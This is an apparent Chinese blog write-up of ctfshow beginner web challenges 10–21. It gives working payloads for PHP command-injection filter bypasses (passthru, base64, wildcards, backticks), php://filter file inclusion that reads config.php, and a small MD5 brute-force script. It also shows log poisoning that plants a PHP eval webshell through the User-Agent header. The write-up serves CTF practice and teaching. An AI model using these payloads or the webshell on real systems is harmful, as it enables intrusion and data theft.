CTFSHOW 萌新web10-21
ctfshow 萌新web10-21
web10
题目提示flag在congfig.php中
php中作为执行系统命令的函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
源码中过滤了 system,exec,highlight 这三个常用的PHP命令执行函数,绕过过滤条件就可以使用 eval() 函数执行PHP代码了,我们使用其他的命令执行函数即可,这里使用 passthru()函数即可
payload: ?c=passthru('cat config.php');
显示页面为空格,查看网页源代码得flag
web11
与web10相比,此处多过滤了cat,用more代替cat即可
payload: ?c=passthru('more config.php');
显示页面为空格,查看网页源代码得flag
web12
由提示flag在config.php中,但是config.php被过滤,抓取文件内容的cat也被过滤
利用其它方法绕过过滤,命令执行函数passthru未被过滤可利用
cat可用tac或more(需要多一步查看网页源代码)替代
解法一:
config.php可先base64编码再解码方式绕过
payload: ?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");
注意:这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的
因为在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。
也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。
解法二:
通配符绕过
payload:
?c=passthru('tac ??????????');
?c=passthru('tac c*');
?c=passthru('tac *');
web13
新增;被过滤 可用?>代替绕过
解法一:
payload: ?c=passthru('tac *')?>
解法二:
passthru("ca''t `ls`")?>
Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句
web14
用include函数和伪协议构成Payload
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
(用?>代替;只能执行一次代码)
得到一段base64编码
解码得到flag
web15
与web14相比?>被过滤,但是;被放出来了,将web14中payload?>改为;即可
include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
web16
由涉及md5比较
利用脚本爆破
import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
for j in str :
for k in str:
s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
#让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
print(i+j+k)#输出字符c的值
得到c的参数值:36d
payload:
?c=36d
web17
c传参过滤掉php
思路:include文件包含,利用日志文件包含
访问日志文件:
?c=/var/log/nginx/access.log
发现日志文件记录了user-agent头,于是在该头中插入一句话木马:
<?php eval($_POST['a']);?>
蚂剑链接发现flag
web18
同web17日志包含解出
web19
同web17日志包含解出
web20
同web17日志包含解出
web21
同web17日志包含解出
本文来自博客园,作者:ikn0w1T,转载请注明原文链接:https://www.cnblogs.com/ikn0w1T/p/17316462.html